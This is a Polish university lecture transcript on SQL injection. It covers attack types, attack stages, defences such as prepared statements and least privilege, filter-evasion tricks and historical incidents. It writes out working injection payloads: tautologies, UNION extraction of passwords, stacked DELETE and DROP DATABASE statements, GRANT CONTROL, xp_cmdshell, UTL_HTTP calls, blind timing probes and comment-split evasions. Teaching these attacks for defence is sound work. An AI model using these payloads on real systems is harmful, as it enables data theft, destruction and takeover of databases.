do druku

Transkrypt

do druku
Plan wykładu
Spis treści
1 Wstrzyknięcia SQL - typy ataku
1
2 Etapy ataku
6
3 Zabezpieczenia
6
4 Atak na zabepieczenia
8
5 Z życia wzięte
9
6 Źródła
10
Znaj wroga i samego siebie, a możesz stoczyć sto bitew,
nie zaznając porażki
Sun Zi
1
Wstrzyknięcia SQL - typy ataku
Wstrzyknięcia SQL
SQL Injection
- wstrzyknięcie kodu SQL - luka w zabezpieczeniach aplikacji internetowych polegająca na
nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy
złożone z warstwy programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy danych. Wynika on zwykle z braku doświadczenia
lub wyobraźni programisty.
Schemat ataku
1
Niedostateczne filtrowanie danych
Przykładowe zapytanie:
statement = "SELECT * FROM users
WHERE name = ’" + userName + "’;"
Nieodpowiednie filtrowanie znaków ucieczki z danych wejściowych pozwala na przekazanie
dodatkowych parametrów do zapytania:
’ or ’1’=’1’ -- ’
’ or ’1’=’1’ ({ ’
’ or ’1’=’1’ /* ’
W efekcie otrzymujemy:
SELECT * FROM users WHERE name = ’’ OR ’1’=’1’;
Niedostateczne filtrowanie danych cd
Przykładowe zapytanie wewnątrz kodu PHP:
SELECT produkt_id, nazwa, opis, kwota
FROM produkty JOIN zamowienia USING(produkt.id)
WHERE (klient_id=$id)
ORDER BY nazwa
Wstrzyknięcie:
0 OR 1=1
W efekcie napastnik otrzymuje historię zamówień wszystkich klientów.
2
Niedostateczne filtrowanie danych cd
Przykładowe zapytanie wewnątrz kodu PHP:
SELECT produkt_id, nazwa, opis, kwota
FROM produkty JOIN zamowienia USING(produkt.id)
WHERE (klient_id=$id)
ORDER BY nazwa
Wstrzyknięcie:
-1) UNION
SELECT klient_id, login, haslo, 0
FROM klienci -Napastnik otrzyma dane klientów sklepu.
API dopuszczające wiele zapytań
Przykładowe zapytanie:
statement = "SELECT * FROM users
WHERE name = ’" + userName + "’;"
Dorzucenie kolejnego polecenia:
a’;
DELETE FROM users;
SELECT * FROM userinfo WHERE ’t’ = ’t
W efekcie otrzymujemy:
SELECT * FROM users WHERE name = ’a’;
DELETE FROM users;
SELECT * FROM userinfo WHERE ’t’ = ’t’;
API dopuszczające wiele zapytań cd
Przykładowy blok anonimowy PL/SQL:
BEGIN
Encrypt_password(’bob’, ’mypassword’);
END;
Dorzucenie kolejnego polecenia w miejsce ’mypassword’:
BEGIN
Encrypt_password(’bob’, ’mypassword’);
DELETE FROM users
WHERE upper(username) = upper(’admin’);
END;
3
Wstrzyknięcie do argumentów funkcji
Wstrzyknięcie może nastapić poprzez argumenty funkcji składowanych lub funkcji
użytkownika. Zmiany w bazie danych będą możliwe jedynie, gdy zaatakowana funkcja
będzie:
• zagnieżdżona wewnątrz INSERT, UPDATE, lub DELETE
• będzie stanowiła odrębną transakcję (PRAGMA TRANSACTION)
Przykładowe zapytanie:
SELECT TRANSLATE(’user input’,
’0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ’,
’0123456789’)
FROM dual;
Po ataku:
SELECT TRANSLATE(’’ ||
UTL_HTTP.REQUEST(’http://192.168.1.1/’) || ’’,
’0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ’,
’0123456789’)
FROM dual;
lub:
SELECT TRANSLATE(’’ ||
myappadmin.adduser(’admin’, ’newpass’) || ’’,
’0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ’,
’0123456789’)
FROM dual;
Przeładowanie bufora
Istnieją funkcję, które po wywołaniu z nieprawidłowymi argumentami spowodują przeładowanie bufora:
• tz_offset (przesunięcie godzinowe zadanej parametrem strefy względem strefy czasowej ustawionej na serwerze)
• to_timestamp_tz (konwersja łańcuchów na znacznik czasowy)
• bfilename (zwraca lokator do obiektu BFILE)
Wstrzyknięcia w dynamicznym SQL’u
Przykładowa procedura PL/SQL:
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2)
AS
sql VARCHAR2;
code VARCHAR2;
BEGIN
--...
sql := ’SELECT postal-code FROM states
WHERE state-name = ’’’ || name || ’’’’;
EXECUTE IMMEDIATE sql INTO code;
--IF code = ’IL’ THEN ...
END;
4
Można wstrzyknąć:
’Some Name’’;
GRANT CONTROL TO [Malicious User];
PRINT ’’Game over! This system is no longer yours!’’
-- Malicious User now can control the database!!!’
Wstrzyknięcia w dynamicznym SQL’u cd
Przykładowa procedura PL/SQL:
CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2)
AS
BEGIN
-- bardzo niebezpieczne
EXECUTE IMMEDIATE ’BEGIN updatepass(’’’ || value || ’’’); END;’;
END;
Można wstrzyknąć dowolną serię instrukcji.
Wykorzystanie uprawnień
Przykładowe zapytanie:
statement = "SELECT * FROM users
WHERE name = ’" + userName + "’;"
Dorzucenie kolejnego polecenia:
a’;
DROP TABLE users;
DROP DATABASE SKLEP;
SELECT * FROM userinfo WHERE ’t’ = ’t
W efekcie otrzymujemy:
SELECT * FROM users WHERE name = ’a’;
DROP TABLE users;
DROP DATABASE SKLEP;
SELECT * FROM userinfo WHERE ’t’ = ’t’;
Wykorzystanie uprawnień cd
Przykładowe zapytanie:
statement = "SELECT * FROM users
WHERE name = ’" + userName + "’;"
Dorzucenie kolejnego polecenia:
a’; exec master..xp_cmdshell ’iisreset /stop’ -Dla źle skonfigurowanej bazy MS SQL Server pod Windows, spowoduje to zatrzymanie
serwera.
Atak z poziomu systemu
Jeśli konto, z którego korzystamy, ma uprawnienia do odczytu i zapisu, da się wówczas
przesłać do bazy danych pliki zawierające hasła lub informacje konfiguracyjne. W podobny
sposób można zmieniać hasła lub nadpisywać pliki systemowe.
5
Ślepe wstrzyknięcia
Ślepy atak (ang. blind injection) jest wykonywany na aplikacji, która nie wyświetla
komunikatów błędów (zastosowano paradygmat security through obscurity).
• sprawdzenie, czy aplikacja jest podatna na wstrzyknięcia, poprzez porównanie efektu
działania dwóch zapytań:
SELECT booktitle FROM booklist
WHERE bookId = ’OOk14cd’ AND ’1’=’1’;
SELECT booktitle FROM booklist
WHERE bookId = ’OOk14cd’ AND ’1’=’2’;
• wymuszenie błędu dla dobrze zadanego warunku:
SELECT 1/0 FROM users WHERE username=’Ralph’;
• wprowadzenie opóźnień czasowych
SELECT booktitle FROM booklist
WHERE bookId = ’OOk14cd’
AND BENCHMARK(999999,BENCHMARK(999999,
BENCHMARK(999999,MD5(NOW()))))=0
OR ’1’=’1
2
Etapy ataku
Etapy ataku - Walidacja wejścia
Walidacja wejścia - sprawdzenie luk poprzez kontrolę ”punktów wejściowych”:
• pól w formularzach,
• parametrów skryptów w zapytaniach wysyłanych jako część adresów URL,
• wartości przechowywanych w plikach cookies, które są wysyłane do aplikacji sieciowej,
• wysyłanych wartości znajdujących się w ukrytych polach,
• reakcja na wprowadzenie opóźnień.
Zbieranie informacji
Etap zbierania informacji składa się z następujących elementów:
• mechanizmy wyjścia (czy wyświetla jawnie wyniki, czy wyświetla informacje o błędach)
• identyfikowanie rodzaju zapytania (SELECT, UPDATE, EXEC, INSERT, DELETE, CREATE itp)
• identyfikowanie serwera bazy danych (poprzez specyficzne zapisy, operatory, funkcje)
• rozpoznawanie stopnia uprzywilejowania użytkownika
6
Przeprowadzenie ataku 1=1
• Rozpoznanie struktury bazy danych
• Odróżnienie kolumn numerycznych od alfanumerycznych
• Wyświetlenie wszystkich tabel zdefiniowanych przez użytkownika
Wydobycie informacji
• Wydobycie nazw użytkowników i haseł
• Umieszczenie własnego użytkownika dla aplikacji
• Dysponując odpowiednimi uprawnieniami, napastnik może również utworzyć własne
konto w bazie danych
3
Zabezpieczenia
Zabezpieczanie na poziomie aplikacji
Niedopuszczenie do nieuprawnionej zmiany wykonywanego zapytania
• addslashes() dodaje backslash przed znakami, takimi jak ’, " czy \, dzięki czemu znaki te nie są traktowane jak znaki specjalne
• DBI::quote czy mysql_real_escape_string() - jw.
• is_numeric(num) - sprawdza czy zmienna jest wartością numeryczną
• rzutowanie na typ liczbowy parametrów numerycznych
• wykorzystanie parametryzacji charakterystycznej dla danego API
$query = $sql->prepare("SELECT * FROM users
WHERE name = ?");
$query->execute($user_name);
• nie wstawianie zmiennych poprzez konkatenację łańcuchów
• jasne zdefiniowanie typu danych przypisanych do każdego pola - tzn. tylko wejście o
określonym formacie może być dalej przetwarzane, wejście o podejrzanym formacie
jest natychmiast odrzucane
• implementacja filtrów SQL odrzucających podejrzane formuły z klauzulami SELECT,
UPDATE itp.
Przykład zabezpieczenia
Procedurę PL/SQL:
CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2)
AS
BEGIN
-- bardzo niebezpieczne
EXECUTE IMMEDIATE
’BEGIN updatepass(’’’ || value || ’’’); END;’;
END;
powinniśmy zapisać następująco:
7
CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2)
AS
BEGIN
-- poprawnie
cmd := ’BEGIN updatepass(:1); END;’;
EXECUTE IMMEDIATE cmd USING value;
END;
Przykład zabezpieczenia
Kod java:
String name = request.getParameter("name");
PreparedStatement pstmt =
conn.prepareStatement("insert into EMP (ENAME)
values (’" + name + "’)");
pstmt.execute();
pstmt.close();
powinniśmy zapisać następująco:
PreparedStatement pstmt =
conn.prepareStatement ("insert into EMP (ENAME)
values (?)");
String name = request.getParameter("name");
pstmt.setString (1, name);
pstmt.execute();
pstmt.close();
Zabezpieczenie na poziomie bazy danych
• minimalizacja uprawnień = minimalizacja szkód
• sprawdzenie skuteczności (”siły”) hasła użytkownika
• zmiana uprawnień i usunięcie publicznego dostępu do obiektów publicznych w bazie
danych
• stosowanie procedur składowanych (zapytanie budowane jest po stronie bazy danych
i aplikacja nie ma bezpośredniego wpływu na jego postać)
• stosowanie wyzwalaczy
Zabezpieczenie na poziomie serwera aplikacji/www
instalacja dodatkowych modułów serwera warstwy aplikacyjnej np dla Apache:
• mod_security - filtruje wg zdefiniowanych reguł przychodzące żądania i blokuje
te potencjalnie groźne. Reguły pozwalają na wychwycenie typowych uniwersalnych
ataków lub znanych luk w popularnych aplikacjach. Wadą rozwiązania jest możliwość zablokowania także pożądanych wywołań.
• mod_rewrite - pozwala m.in. na wykonanie przekierowania przychodzącego żądania
pod zupełnie inny adres na serwerze; poprzez modyfikację adresu URL strony można
ukryć oryginalną nazwę skryptu i wykorzystywane przez niego parametry.
8
4
Atak na zabepieczenia
Ataki na zabezpieczenia
• systemy zabezpieczające wyłapują zapis ’ OR 1=1, zaś atakujący często wykorzystują dowolny warunek zawsze zwracający prawdę:
’
’
’
’
’
’
’
’
OR
OR
OR
OR
OR
OR
OR
OR
’unusual’ = ’unusual’
’something’ = ’some’+’thing’
’text’ = N’text’
’something’ like ’some%’
2 > 1
’text’ > ’t’
’whatever’ IN (’whatever’)
2 BETWEEN 1 AND 3
• użycie addslashes() (przykład w PHP) lub magic_quotes_gpc(), nie zapobiega możliwości ataku na pola numeryczne - użycie różnego kodowania znaków, np.
Unicode/UTF 8, Hex
• ominięcie zabezpieczeń poprzez
– wielokrotne komentowanie,
UNION/**/SELECT/**/
’/**/OR/**/1/**/=/**/1
– rozbicie złośliwego kodu na wiele linii,
USERNAME:
PASSWORD:
’ or 1/*
*/ =1 --
– specyficzna konkatenacja łańcuchów
UNI/**/ON SEL/**/ECT
lub
’; EXECUTE IMMEDIATE
’SEL’ || ’ECT US’ || ’ER’
5
Z życia wzięte
Przykłady z życia wzięte
• 2005 r. - tajwański uczeń kradnie dane klientów Tech Target Group
• 2006 r. - Rosjanin kradnie dane dotyczące kart kredytowych z serwisów urzędów
Rhode Island
• 2007 r. - wstrzyknięcie na brytyjskiej stronie Microsoft
• 2008 r. - zmasowane wstrzyknięcie wykorzystujace luki serwera MS SQL
• 2009 r. - kradzież 130 milionów numerów kart kredytowych w Stanach Zjednoczonych
9
• 19 września 2010 r. - wstrzyknięcie wewnątrz głosu oddanego na stronie umożliwiającej głosowanie w czasie wyborów w Szwecji
• 8 listopada 2010 r. - wstrzyknięcie dokonane na stronie British Royal Navy
• 5 luty 2011 r. - włamanie na stronę HBGary
• 27 marca 2011 r. - oficjalna strona MySQL została skutecznie zaatakowana z wykorzystaniem ślepego ataku
• Sierpień 2011 - kradzież danych użytkowników z Nokia developer site
• Maj 2012 - zamknięcie strony Wurm Online podczas jej aktualizacji
• Czerwiec 2013 - grupa hakerów ”RedHack” złamali strony administracyjne Istambułu, twierdzili, że moga anulować dowolne rachunki za gaz, wodę, Internet itp
Opublikowali dane logowania administratorów. O swoich “sukcesach” pochwalili się
na Twiterze
• Listopad 2013 - grupa ”RaptorSwag” złamała 71 chińskich baz rządowych. Informacje, które wyciekły upubliczniono z pomocą Anonymous.
• Sierpień 2014 - firma od zabezpieczeń Hold Security ogłosiła kradzież poufnych
informacji z prawie 420 tysięcy stron internetowych poprzez SQL injection. New
York Times potwierdził to stwierdzenie zatrudniając ekspertów bezpieczeństwa
6
Źródła
Źródła
W wykładzie wykorzystano materiały:
• http://webhosting.pl/SQL.Injection..Jak.hakerzy.omijaja.zabezpieczenia.
stron.WWW.
• www.net-security.org/dl/.../IntegrigyIntrotoSQLInjectionAttacks.pdf
• Wikipedia
• http://www.poradnik-webmastera.com/artykuly/bazy_danych/sql_injection.
php
10

Podobne dokumenty